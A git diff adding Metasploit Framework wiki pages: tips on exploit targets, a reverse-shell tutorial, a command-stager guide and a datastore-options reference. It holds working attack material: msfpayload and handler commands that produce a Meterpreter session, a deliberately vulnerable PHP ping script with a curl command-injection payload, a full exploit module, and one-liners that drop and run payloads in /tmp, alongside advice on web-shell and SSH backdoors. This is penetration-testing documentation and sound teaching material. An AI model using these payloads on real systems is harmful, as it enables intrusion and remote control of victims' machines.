exploit(ms08_067_netapi) > info +``` + +## Read the target list + +Every Metasploit exploit has a target list. Basically this is a list of setups the developers have tested before making the exploit publicly available. If your target machine isn't on the list, it's better to assume the exploit has never been tested on that particular setup. + +If the exploit supports automatic targeting, it is always the first item on the list (or index 0). The first item is also almost always the default target. What this means is that you should never assume the exploit will automatically select a target for you if you've never used it before, and that the default setup might not be the one you're testing against. + +The "show options" command will tell you which target is selected. For example: + +``` +msf exploit(ms08_067_netapi) > show options +``` + +The "show targets" command will give you a list of targets supported: + +``` +msf exploit(ms08_067_netapi) > show targets +``` + +## Check all the options + +All Metasploit modules come with most datastore options pre-configured. However, they may not be suitable for the particular setup you're testing. To do a quick double-check, usually the "show options" command is enough: + +``` +msf exploit(ms08_067_netapi) > show options +``` + +However, "show options" only shows you all the basic options. It does not show you the evasive or advanced options (try "show evasion" and "show advanced"), the command you should use that shows you all the datastore options is actually the "set" command: + +``` +msf exploit(ms08_067_netapi) > set +``` + +## Find the module's pull request + +The Metasploit repository is hosted on GitHub, and the developers/contributors rely on it heavily for development. Before a module is made public, it is submitted as a [pull request](https://help.github.com/articles/using-pull-requests/) for final testing and review. In there, you will find pretty much everything you need to know about the module, and probably things you won't learn from reading the module's description or some random blog post. The information is like gold, really. + +Things you might learn from reading a pull request: + +* Steps on how to set up the vulnerable environment. +* What targets were actually tested. +* How the module is meant to be used. +* How the module was verified. +* What problems were identified. Problems you might want to know. +* Demonstrations. +* Other surprises. + +There are a few ways to find the pull request of the module you're using: + +* **Via `info -d` in msfconsole**: If you generate a [personal access token](https://docs.github.com/en/github/authenticating-to-github/creating-a-personal-access-token) and set it in your shell environment with `export GITHUB_OAUTH_TOKEN your_token`, the builtin documentation will show relevant pull requests for the current module. + +* **Via the pull request number**: If you actually know the pull request number, this is the easiest. Simply go: + +``` +https://github.com/rapid7/metasploit-framework/pull/[PULL REQUEST NUMBER HERE] +``` + +* **Via filters**: This is most likely how you find the pull request. First off, you should go here: [https://github.com/rapid7/metasploit-framework/pulls](https://github.com/rapid7/metasploit-framework/pulls). At the top, you will see a search input box with the default filters: ```is:pr is:open```. These default ones mean you're looking at pull requests, and you're looking at the ones that are still pending - still waiting to be merged to Metasploit. Well, since you're finding the one that's already merged, you should do these: + +1. Click on "Closed". +2. Select label "module". +3. In the search box, enter additional keywords related to the module. The module's title probably provides the best keywords. + +Note: If the module was written before Nov 2011, you WILL NOT find the pull request for it. \ No newline at end of file diff --git a/metasploit-framework.wiki/How-to-use-a-reverse-shell-in-Metasploit.md b/metasploit-framework.wiki/How-to-use-a-reverse-shell-in-Metasploit.md new file mode 100644 index 000000000000..608896f6b1ac --- /dev/null +++ b/metasploit-framework.wiki/How-to-use-a-reverse-shell-in-Metasploit.md @@ -0,0 +1,150 @@ +## On this page +* [List of Metasploit reverse shells](#list-of-metasploit-reverse-shells) + * [Windows common reverse shell](#windows-common-reverse-shell) + * [Linux common reverse shell](#linux-common-reverse-shell) +* [When to use a reverse shell](#when-to-use-a-reverse-shell) +* [When a reverse shell isn't needed](#when-a-reverse-shell-isnt-needed) +* [How to set up for a reverse shell during payload generation](#how-to-set-up-for-a-reverse-shell-during-payload-generation) +* [Demonstration](#demonstration) + * [Step 1: Generate the executable payload](#step-1-generate-the-executable-payload) + * [Step 2: Copy the executable payload to box B](#step-2-copy-the-executable-payload-to-box-b) + * [Step 3: Set up the payload handler on box A](#step-3-set-up-the-payload-handler-on-box-a) + * [Step 4: Double-click on the malicious executable](#step-4-double-click-on-the-malicious-executable) + * [Step 5: View the meterpreter/payload session on box A](#step-5-view-the-meterpreterpayload-session-on-box-a) + +There are two popular types of shells: bind and reverse. +Bind shell - Opens up a new service on the target machine and requires the attacker to connect to it to get a session. +Reverse shell - A reverse shell is also known as a connect-back. It requires the attacker to set up a listener first on his box, the target machine acts as a client connecting to that listener, and then finally, the attacker receives the shell. + +You can learn more about the primary use of payloads in the 5.2.4 Selecting the Payload section of the old [Metasploit Users Guide](http://cs.uccs.edu/~cs591/metasploit/users_guide3_1.pdf). + +This article goes over using a reverse shell to get a session. + +## List of Metasploit reverse shells + +To get a list of reverse shells, use the `msfpayload` command. B + +```bash +./msfpayload -l |grep reverse +``` + +As a rule of thumb, always pick a Meterpreter, because it currently provides better support of the post-exploitation Metasploit has to offer. For example, railgun, post modules, different meterpreter commands. + +### Windows common reverse shell + + In Windows, the most commonly used reverse shell is `windows/meterpreter/reverse`. You can also use `windows/meterpreter/reverse_http` or `windows/meterpreter/reverse_https` because their network traffic appears a little bit less abnormal. + +### Linux common reverse shell + +In Linux, you can try `linux/x86/meterpreter/reverse_tcp`, or the 64-bit one. The `linux/x86/shell_reverse_tcp` has been the most stable. + +## When to use a reverse shell + +If you find yourself in one of the following scenarios, then you should consider using a reverse shell: + +* The target machine is behind a different private network. +* The target machine's firewall blocks incoming connection attempts to your bindshell. +* Your payload is unable to bind to the port it wants due to whatever reason. +* You can't decide what to choose. + +## When a reverse shell isn't needed + +Generally speaking, if you can backdoor an existing service, you may not need a reverse shell. For example, if the target machine is already running an SSH server, then you can try adding a new user to it and use that. + +If the target machine is running a web server that supports a server-side programming language, then you can leave a backdoor in that language. For example, many Apache servers support PHP, then you can use a PHP "web shell". IIS servers usually support ASP or ASP.net. The Metasploit Framework offers payloads in all these languages and many others. + +This also applied to VNC, remote desktop, SMB (psexec), or other remote admin tools, etc. + +## How to set up for a reverse shell during payload generation + +When you generate a reverse shell with either `msfpayload` or `msfvenom`, you must know how to configure the following: + +* **LHOST** - This is the IP address you want your target machine to connect to. If you're in a local area network, it is unlikely your target machine can reach you unless you both are on the same network. In that case, you will have to [find out your public-facing IP address](https://www.google.com/webhp?q=ip#q=ip), and then configure your network to port-forward that connection to your box. LHOST should not be "localhost", or "0.0.0.0", or "127.0.0.1", because if you do, you're telling the target machine to connect to itself (or it may not work at all). +* **LPORT** - This the port you want your target machine to connect to. + +When you set up a listener for the reverse shell, you also at least need to configure LHOST and LPORT, but slightly different meanings (different perspective): + +* **LHOST** - This is the IP address you want your listener to bind to. +* **LPORT** - This is the port you want your listener to bind to. + +You should make sure the listener has started first before executing the reverse shell. + +## Demonstration + +In this demonstration, we have two boxes: + +**Box A:** + +* The attacker's box that receives the payload session +* IP is: 192.168.1.123 (ifconfig) +* On the same network as the victim machine + +**Box B:** + +* The "victim" machine +* Windows XP +* IP is: 192.168.1.80 (ipconfig) +* On the same network as the attacker machine +* For testing purposes, no antivirus enabled. +* For testing purposes, no firewall enabled, either. + +### Step 1: Generate the executable payload + +On the attacker's box, run `msfpayload` or `msfvenom`: + +```bash +$ ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 X > /tmp/iambad.exe +Created by msfpayload (http://www.metasploit.com). +Payload: windows/meterpreter/reverse_tcp +Length: 287 +Options: {"LHOST"=>"192.168.1.123", "LPORT"=>"4444"} +``` + +### Step 2: Copy the executable payload to box B + +Box B is the victim machine. + +### Step 3: Set up the payload handler on box A + +Box A is the attacker machine. + +```bash +$ ./msfconsole -q +msf > use exploit/multi/handler +msf exploit(handler) > set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +msf exploit(handler) > set lhost 192.168.1.123 +lhost => 192.168.1.123 +msf exploit(handler) > set lport 4444 +lport => 4444 +msf exploit(handler) > run + +[*] Started reverse handler on 192.168.1.123:4444 +[*] Starting the payload handler... +``` + +### Step 4: Double-click on the malicious executable + +This step requires no further explanation. + +### Step 5: View the meterpreter/payload session on box A + +```bash +$ ./msfconsole -q +msf > use exploit/multi/handler +msf exploit(handler) > set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +msf exploit(handler) > set lhost 192.168.1.123 +lhost => 192.168.1.123 +msf exploit(handler) > set lport 4444 +lport => 4444 +msf exploit(handler) > run + +[*] Started reverse handler on 192.168.1.123:4444 +[*] Starting the payload handler... +[*] Sending stage (770048 bytes) to 192.168.1.80 +[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500 +meterpreter > +``` + +The meterpreter prompt means you are currently interacting with the payload. diff --git a/metasploit-framework.wiki/How-to-use-command-stagers.md b/metasploit-framework.wiki/How-to-use-command-stagers.md new file mode 100644 index 000000000000..02734843fa41 --- /dev/null +++ b/metasploit-framework.wiki/How-to-use-command-stagers.md @@ -0,0 +1,494 @@ +Command stagers provide an easy way to write exploits against typical vulnerabilities such as [command execution](https://www.owasp.org/index.php/Command_Injection) or [code injection](https://www.owasp.org/index.php/Code_Injection). There are currently 14 different flavors of command stagers, each uses system command (or commands) to save your payload, sometimes decode, and execute. + +# The Vulnerability Test Case + +The best way to explain how to use a command stager is probably by demonstrating it. Here we have a command injection vulnerability in example PHP code, something silly you actually might see in enterprise-level software. The bug is that you can inject additional system commands in the system call for ping: + +```php + + + + +
+ IP to ping: +
+ + +``` + +Place the above PHP script (ping.php) on an [Ubuntu + Apache + PHP](https://www.digitalocean.com/community/tutorials/how-to-install-linux-apache-mysql-php-lamp-stack-on-ubuntu-14-04) server. Make sure your Apache server isn't exposed to the Internet! + +Under normal usage, this is how the script behaves - it just pings the host you specify, and shows +you the output: + +``` +$ curl "http://192.168.1.203/ping.php?ip=127.0.0.1" +PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. +64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.017 ms + +--- 127.0.0.1 ping statistics --- +1 packets transmitted, 1 received, 0% packet loss, time 0ms +rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms +rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms +``` + +OK, now we can abuse that a little and execute another command (id): + +``` +$ curl "http://192.168.1.203/ping.php?ip=127.0.0.1+%26%26+id" +PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. +64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.020 ms + +--- 127.0.0.1 ping statistics --- +1 packets transmitted, 1 received, 0% packet loss, time 0ms +rtt min/avg/max/mdev = 0.020/0.020/0.020/0.000 ms +uid=33(www-data) gid=33(www-data) groups=33(www-data) +uid=33(www-data) gid=33(www-data) groups=33(www-data) +``` + +See the www-data? That is the output for the second command we asked the script to execute. By doing that, we can also do something even more nasty - like writing a Meterpreter payload onto the target system, and execute it. + + +# The Msf::Exploit::CmdStager Mixin + +Now let's talk about how to use a command stager to exploit the above script. There are a couple of steps you need to do: + +**1. Include the Msf::Exploit::CmdStager mixin** + +Although there are many flavors of mixins/stagers, you only need to include [Msf::Exploit::CmdStager](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/cmd_stager.rb) when writing a Metasploit exploit. The mixin is basically an interface to all command stagers: + +```ruby +include Msf::Exploit::CmdStager +``` + +**2. Declare your flavors** + +To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed. + +An example of setting flavors for a specific target: + +```ruby +'Targets' => + [ + [ 'Windows', + { + 'Arch' => [ ARCH_X86_64, ARCH_X86 ], + 'Platform' => 'win', + 'CmdStagerFlavor' => [ 'certutil', 'vbs' ] + } + ] + ] +``` + +Or, you can pass this info to the `execute_cmdstager` method (see Call #execute_cmdstager to begin). + +```ruby +execute_cmdstager(flavor: :vbs) +``` + +However, it is best to set the compatible list of flavors in `CmdStagerFlavor`, rather than hard-coding the flavor in the `execute_cmdstager` method call, as this allows the operator to choose a flavor from `msfconsole` with `set CmdStager::flavor` + + +**3. Create the execute_command method** + +You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is what gets called by the CmdStager mixin when it kicks in. Your objective in this method is to inject whatever is in the ```cmd``` variable to the vulnerable code. + +**4. Call #execute_cmdstager to begin** + +And lastly, in your exploit method, call ```execute_cmdstager``` to begin the command stager. + +Over the years, we have also learned that these options are quite handy when calling +`execute_cmdstager`: + +* **flavor** - You can specify what command stager (flavor) to use from here. +* **delay** - How much time to delay between each command execution. 0.25 is default. +* **linemax** - Maximum number of characters per command. 2047 is default. + +**Msf::Exploit::CmdStager Template** + +At the minimum, this is how your exploit should start when you're using the CmdStager mixin: + +```ruby +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::CmdStager + + def initialize(info={}) + super(update_info(info, + 'Name' => "Command Injection Using CmdStager", + 'Description' => %q{ + This exploits a command injection using the command stager. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'References' => [ [ 'URL', 'http://metasploit.com' ] ], + 'Platform' => 'linux', + 'Targets' => [ [ 'Linux', {} ] ], + 'Payload' => { 'BadChars' => "\x00" }, + 'CmdStagerFlavor' => [ 'printf' ], + 'Privileged' => false, + 'DisclosureDate' => "2016-06-10", + 'DefaultTarget' => 0)) + end + + def execute_command(cmd, opts = {}) + # calls some method to inject cmd to the vulnerable code. + end + + def exploit + print_status("Exploiting...") + execute_cmdstager + end + +end +``` + +As you can see, we have chosen the "printf" flavor as our command stager. We will explain more about +this later, but basically what it does is it writes our payload to `/tmp` and executes it. + +Now let's modify the `execute_command` method and get code execution against the test case. Based on the PoC, we know that our injection string should look like this: + +``` +127.0.0.1+%26%26+[Malicious commands] +``` + +We do that in `execute_command` using [HttpClient](https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient). Notice there is actually some bad character filtering involved to get the exploit working correctly, which is expected: + +```ruby +def filter_bad_chars(cmd) + cmd.gsub!(/chmod \+x/, 'chmod 777') + cmd.gsub!(/;/, ' %26%26 ') + cmd.gsub!(/ /, '+') +end + +def execute_command(cmd, opts = {}) + send_request_cgi({ + 'method' => 'GET', + 'uri' => '/ping.php', + 'encode_params' => false, + 'vars_get' => { + 'ip' => "127.0.0.1+%26%26+#{filter_bad_chars(cmd)}" + } + }) +end + +def exploit + print_status("Exploiting...") + execute_cmdstager +end +``` + +And let's run that, we should have a shell: + + +``` +msf exploit(cmdstager_demo) > run + +[*] Started reverse TCP handler on 10.6.0.92:4444 +[*] Exploiting... +[*] Transmitting intermediate stager for over-sized stage...(105 bytes) +[*] Sending stage (1495599 bytes) to 10.6.0.92 +[*] Meterpreter session 1 opened (10.6.0.92:4444 -> 10.6.0.92:51522) at 2016-06-10 11:51:03 -0500 +``` + +# Flavors + +Now that we know how to use the `Msf::Exploit::CmdStager` mixin, let's take a look at the command +stagers you can use. + +Available flavors: + +* [bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) +* [debug_asm](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/debug_asm.rb) +* [debug_write](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/debug_write.rb) +* [echo](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/echo.rb) +* [printf](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/printf.rb) +* [vbs](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/vbs.rb) +* [certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) +* [tftp](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/tftp.rb) +* [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb) +* [curl](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/curl.rb) +* [fetch](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/fetch.rb) +* [lwprequest](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/lwprequest.rb) +* [psh_invokewebrequest](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb) + + +## VBS Command Stager - Windows Only + +The [VBS command stager](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/vbs.rb) is for Windows. What this does is it encodes our payload with Base64, save it on the target machine, also writes a [VBS script](https://github.com/rapid7/rex-exploitation/blob/master/data/exploits/cmdstager/vbs_b64) using the echo command, and then lets the VBS script to decode the Base64 payload, and execute it. + +If you are exploiting Windows that supports Powershell, then you might want to [consider using that instead](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Powershell-in-an-exploit) of the VBS stager, because Powershell tends to be more stealthy. + +To use the VBS stager, either specify your CmdStagerFlavor in the metadata: + +```ruby +'CmdStagerFlavor' => [ 'vbs' ] +``` + +Or set the :vbs key to execute_cmdstager: + +```ruby +execute_cmdstager(flavor: :vbs) +``` + +You will also need to make sure the module's supported platforms include windows (also in the metadata), example: + +```ruby +'Platform' => 'win' +``` + + +## Certutil Command Stager - Windows Only + +[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8. + +One thing certutil can also do for us is decode the Base64 string from a certificate, and save the decoded content to a file. The following demonstrates: + +```bash +echo -----BEGIN CERTIFICATE----- > encoded.txt +echo Just Base64 encode your binary data +echo TVoAAA== >> encoded.txt +echo -----END CERTIFICATE----- >> encoded.txt +certutil -decode encoded.txt decoded.bin +``` + +To take advantage of that, the Certutil command stager will save the payload in Base64 as a fake certificate, ask certutil to decode it, and then finally execute it. + +To use the Certutil command stager, either specify your CmdStagerFlavor in the metadata: + +```ruby +'CmdStagerFlavor' => [ 'certutil' ] +``` + +Or set the :certutil key to execute_cmdstager: + +```ruby +execute_cmdstager(flavor: :certutil) +``` + +You will also need to remember to set the platform in the metadata: + +```ruby +'Platform' => 'win' +``` + + +## Debug_write Command Stager - Windows Only + +The [debug_write](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/debug_write.rb) command stager is an old Windows trick to write a file to the system. In this case, we use debug.exe to write a small .Net binary, and that binary will take a hex-ascii file created by the echo command, decode the binary, and finally execute. + +Obviously, to be able to use this command stager, you must make sure the target is a Windows system that supports .Net. + +To use the debug_write command stager, either specify your CmdStagerFlavor in the metadata: + +```ruby +'CmdStagerFlavor' => [ 'debug_write' ] +``` + +Or set the :debug_write key to execute_cmdstager: + +```ruby +execute_cmdstager(flavor: :debug_write) +``` + +You will also need to remember to set the platform in the metadata: + +```ruby +'Platform' => 'win' +``` + + +## Debug_asm Command Stager - Windows Only + +The [debug_asm](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/debug_asm.rb) command stager is another old Windows trick used to assemble a COM file, and then COM file will decode our hex-ascii payload, and then execute it. + +To use the debug_asm command stager, either specify your CmdStagerFlavor in the metadata: + +```ruby +'CmdStagerFlavor' => [ 'debug_asm' ] +``` + +Or set the :debug_asm key to execute_cmdstager: + +```ruby +execute_cmdstager(flavor: :debug_asm) +``` + +You will also need to remember to set the platform in the metadata: + +```ruby +'Platform' => 'win' +``` + + +## TFTP Command Stager - Windows Only + +The [TFTP](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/tftp.rb) command stager uses tftpd.exe to download our payload, and then use the start.exe command to execute it. This technique only works well against an older version of Windows (such as XP), because newer Windows machines no longer install tftp.exe by default. + +The TFTP command stager must bind to UDP port 69, so msfconsole must be started as root: + +``` +rvmsudo ./msfconsole +``` + +To use the TFTP stager, either specify your CmdStagerFlavor in the metadata: + +```ruby +'CmdStagerFlavor' => [ 'tftp' ] +``` + +Or set the :tftp key to execute_cmdstager: + +```ruby +execute_cmdstager(flavor: :tftp) +``` + +You will also need to remember to set the platform in the metadata: + +```ruby +'Platform' => 'win' +``` + + +## PowerShell Invoke-WebRequest - Windows Only + +To use the PowerShell Invoke-WebRequest stager, either specify your CmdStagerFlavor in the metadata: + +```ruby +'CmdStagerFlavor' => [ 'psh_invokewebrequest' ] +``` + +Or set the :psh_invokewebrequest key to execute_cmdstager: + +```ruby +execute_cmdstager(flavor: :psh_invokewebrequest ) +``` + +## Bourne Command Stager - Multi Platform + +**Linemax** minimum: 373 + +The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows (because the use of the which command that Windows does not have). It functions rather similar to the VBS stager, except when it decodes the Base64 payload at runtime, there are multiple commands to choose from: base64, openssl, python, or perl. + +To use the Bourne stager, either specify your CmdStagerFlavor in the metadata: + +```ruby +'CmdStagerFlavor' => [ 'bourne' ] +``` + +Or set the :bourne key to execute_cmdstager: + +```ruby +execute_cmdstager(flavor: :bourne) +``` + + +## Echo Command Stager - Multi Platform + +**Linemax** minimum: 26 + +The [echo](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/echo.rb) command stager is suitable for multiple platforms except for Windows. It just [echos](http://manpages.ubuntu.com/manpages/trusty/man1/echo.1fun.html) the payload, chmod and execute it. An example of that looks similar to this: + +``` +echo -en \\x41\\x41\\x41\\x41 >> /tmp/payload ; chmod 777 /tmp/payload ; /tmp/payload ; rm -f /tmp/payload +``` + +To use the echo stager, either specify your CmdStagerFlavor in the metadata: + +```ruby +'CmdStagerFlavor' => [ 'echo' ] +``` + +Or set the :echo key to execute_cmdstager: + +```ruby +execute_cmdstager(flavor: :echo) +``` + + +## Printf Command Stager - Multi Platform + +**Linemax** minimum: 25 + +The [printf](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/printf.rb) command stager is also suitable for multiple platforms except for Windows. It just uses the printf command to write the payload to disk, chmod and execute it. An example of that looks similar to this: + +``` +printf '\177\177\177\177' >> /tmp/payload ; chmod +x /tmp/payload ; /tmp/payload ; rm -f /tmp/payload +``` + +To use the printf stager, either specify your CmdStagerFlavor in the metadata: + +```ruby +'CmdStagerFlavor' => [ 'printf' ] +``` + +Or set the :printf key to `execute_cmdstager`: + +```ruby +execute_cmdstager(flavor: :printf) +``` + +## cURL Command Stager - Multi Platform + +To use the cURL stager, either specify your CmdStagerFlavor in the metadata: + +```ruby +'CmdStagerFlavor' => [ 'curl' ] +``` + +Or set the :curl key to `execute_cmdstager`: + +```ruby +execute_cmdstager(flavor: :curl) +``` + + +## wget Command Stager - Multi Platform + +To use the wget stager, either specify your CmdStagerFlavor in the metadata: + +```ruby +'CmdStagerFlavor' => [ 'wget' ] +``` + +Or set the :wget key to `execute_cmdstager`: + +```ruby +execute_cmdstager(flavor: :wget) +``` + + +## LWP Request Command Stager - Multi Platform + +To use the lwprequest stager, either specify your CmdStagerFlavor in the metadata: + +```ruby +'CmdStagerFlavor' => [ 'lwprequest' ] +``` + +Or set the :lwprequest key to `execute_cmdstager`: + +```ruby +execute_cmdstager(flavor: :lwprequest) +``` + + +## Fetch Command Stager - BSD Only + +To use the fetch stager, either specify your CmdStagerFlavor in the metadata: + +```ruby +'CmdStagerFlavor' => [ 'fetch' ] +``` + +Or set the :fetch key to `execute_cmdstager`: + +```ruby +execute_cmdstager(flavor: :fetch) +``` diff --git a/metasploit-framework.wiki/How-to-use-datastore-options.md b/metasploit-framework.wiki/How-to-use-datastore-options.md new file mode 100644 index 000000000000..4e4176b6621f --- /dev/null +++ b/metasploit-framework.wiki/How-to-use-datastore-options.md @@ -0,0 +1,321 @@ +# Datastore Option Overview + +A datastore option is a type of variable that can be set by the user, allowing various components of Metasploit to be +more configurable during use. For example, in msfconsole, you can set the ConsoleLogging option in order to log all the +console input/output - something that's kind of handy for documentation purposes during a pentest. When you load a +module, there will be a lot more options registered by the mixin(s) or the module. Some common ones include RHOSTS and +RPORT for a server-side exploit or auxiliary module, SRVHOST for a client-side module, etc. The best way to find out +exactly what datastore options you can set is by using these commands: + +* `show options` - Shows you all the basic options. +* `show advanced` - Shows you all the advanced options. +* `show missing` - Shows you all the required options you have not configured. +* `set` - Shows you everything. Obviously, you also use this command to set an option. + +Option sources: ModuleDataStore, active_module, session, and framework + +## How users look at datastore options + +On the user's side, datastore options are seen as global or module-level: Global means all the modules can use that +option, which can be set by using the `setg` command. Module-level means only that particular module you're using +remembers that datastore option, no other components will know about it. You are setting a module-level option if you +load a module first, and then use the `set` command, like the following: + +``` +msf > use exploit/windows/smb/ms08_067_netapi +msf exploit(ms08_067_netapi) > set rhost 10.0.1.3 +rhost => 10.0.1.3 +``` + +## How Metasploit developers look at datastore options + +On the development side, things are a little crazier. Datastore options actually can be found in at least four different +sources: the ModuleDataStore object, active_module, session object, or the framework object. + +If you're just doing module development, the best source you can trust is the ModuleDataStore object. This object has a +specific load order before handing you the option you want: if the option can be found in the module's datastore, it +will give you that. If not found, it will give you the one from framework. The following is an example of how to read a +datastore option in a module: + +```ruby +current_host = datastore['RHOST'] +``` + +If your dev work is outside the module realm, there is a good possibility that you don't even have the ModuleDataStore object. But in some cases, you still might be able to read from the [active_module accessor](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/ui/console/driver.rb#L607) from the driver. Or if you have access to [ModuleCommandDispatcher](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/ui/console/module_command_dispatcher.rb#L28), there is a `mod` method too that gives you the same thing, and sometimes mixins pass this around in a `run_simple` method while dispatching a module. One example you can look at is the [Msf::Ui::Console::CommandDispatcher::Auxiliary](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/ui/console/command_dispatcher/auxiliary.rb) class. + +In some cases such as running a script in post exploitation, you might not have ModuleDataStore or even active_module, but you should still have a session object. There should be an `exploit_datastore` that gives you all the datastore options: + +```ruby +session.exploit_datastore +``` + +If you don't have access to the module, or to a session object, the last source is obviously the framework object, and there is ALWAYS a framework object. However, like we said earlier, if the user sets a module-level option, no other components will see it, this includes the framework object: + +```ruby +framework.datastore +``` + +So now you know there are multiple sources of datastore options. And hopefully at this point you are well aware that not all sources necessarily share the same thing. If you have to try everything, as a general rule, this should be your load order: + +1. Try from the ModuleDataStore +2. Try from active_module +3. Try from session +4. Try from framework + +# Core option types + +All core datastore option types are defined in the [option_container.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/option_container.rb) file as classes. You should always pick the most appropriate one because each has its own input validator. + +When you initialize an option during datastore registration, it should be in the following format: + +```ruby +OptSomething.new(option_name, [boolean, description, value, *enums*], aliases: *aliases*, conditions: *conditions*) +``` + +* **option_name** - Clearly means the name of the datastore option. +* **boolean** - The first attribute, true means this is a required option, false means optional. +* **description** - A short description about this option +* **value** - A default value. Note if the first attribute is false, you don't need to provide a value, it'll be set to + nil automatically. +* **enums** - *optional* An array of acceptable values, e.g. `%w[ LEFT RIGHT ]`. +* **aliases** - *optional*, *key-word only* An array of additional names that refer to this option. This is useful when + renaming a datastore option to retain backward compatibility. See the [Renaming datastore + options](#Renaming-datastore-options) section for more information +* **conditions** - *optional*, *key-word only* An array of a condition for which the option should be displayed. This + can be used to hide options when they are irrelevant based on other configurations. See the [Filtering datastore + options](#Filtering-datastore-options) section for more information. + +Now let's talk about what classes are available: + +## OptAddress +An input that is an IPv4 address. Code example: + +```ruby +OptAddress.new('IP', [ true, 'Set an IP', '10.0.1.3' ]) +``` + +## OptAddressRange +An input that is a range of IPv4 addresses, for example: 10.0.1.1-10.0.1.20, or 10.0.1.1/24. You can also supply a file path instead of a range, and it will automatically treat that file as a list of IPs. Or, if you do the rand:3 syntax, with 3 meaning 3 times, it will generate 3 random IPs for you. Basic code example: + +```ruby +OptAddressRange.new('Range', [ true, 'Set an IP range', '10.0.1.3-10.0.1.23' ]) +``` + +## OptBool +Boolean option. It will validate if the input is a variant of either true or false. For example: y, yes, n, no, 0, 1, etc. Code example: + +```ruby +OptBool.new('BLAH', [ true, 'Set a BLAH option', false ]) +``` + +## OptEnum +Basically this will limit the input to specific choices. For example, if you want the input to be either "apple", or "orange", and nothing else, then OptEnum is the one for you. Code example: + +```ruby +# Choices are: apple or range, defaults to apple +OptEnum.new('FRUIT', [ true, 'Set a fruit', 'apple', ['apple', 'orange']]) +``` + +## OptInt +This can be either a hex value, or decimal. + +```ruby +OptInt.new('FILE', [ true, 'A hex or decimal', 1024 ]) +``` + +## OptPath +If your datastore option is asking for a local file path, then use this. + +```ruby +OptPath.new('FILE', [ true, 'Load a local file' ]) +``` + +## OptPort +For an input that's meant to be used as a port number. This number should be between 0 - 65535. Code example: + +```ruby +OptPort.new('RPORT', [ true, 'Set a port', 21 ]) +``` + +## OptRaw +It actually functions exactly the same as OptString. + +## OptRegexp +Datastore option is a regular expression. + +```ruby +OptRegexp.new('PATTERN', [true, 'Match a name', '^alien']), +``` + +**Other types:** + +In some cases, there might not be a well-suited datastore option type for you. The best example is an URL: even though there's no such thing as a OptUrl, what you can do is use the OptString type, and then in your module, do some validation for it, like this: + +```ruby +def valid?(input) + if input =~ /^http:\/\/.+/i + return true + else + # Here you can consider raising OptionValidateError + return false + end +end + +if valid?(datastore['URL']) + # We can do something with the URL +else + # Not the format we're looking for. Refuse to do anything. +end +``` + +## OptString +Typically for a string option. If the input begins with "file://", OptString will also automatically assume this is a file, and read from it. However, there is no file path validation when this happens, so if you want to load a file, you should use the OptPath instead, and then read the file yourself. Code example: + +```ruby +OptString.new('MYTEST', [ true, 'Set a MYTEST option', 'This is a default value' ]) +``` + +# Registering and deregistering module options + +## The register_options method + +The `register_options` method can register multiple basic datastore options. Basic datastore options are the ones that either must be configured, such as the RHOST option in a server-side exploit. Or it's very commonly used, such as various username/password options found in a login module. + +The following is an example of registering multiple datastore options in a module: + +```ruby +register_options( + [ + OptString.new('SUBJECT', [ true, 'Set a subject' ]), + OptString.new('MESSAGE', [ true, 'Set a message' ]) + ]) +``` + +## The register_advanced_options method + +The `register_advanced_options` method can register multiple advanced datastore options. Advanced datastore options are the 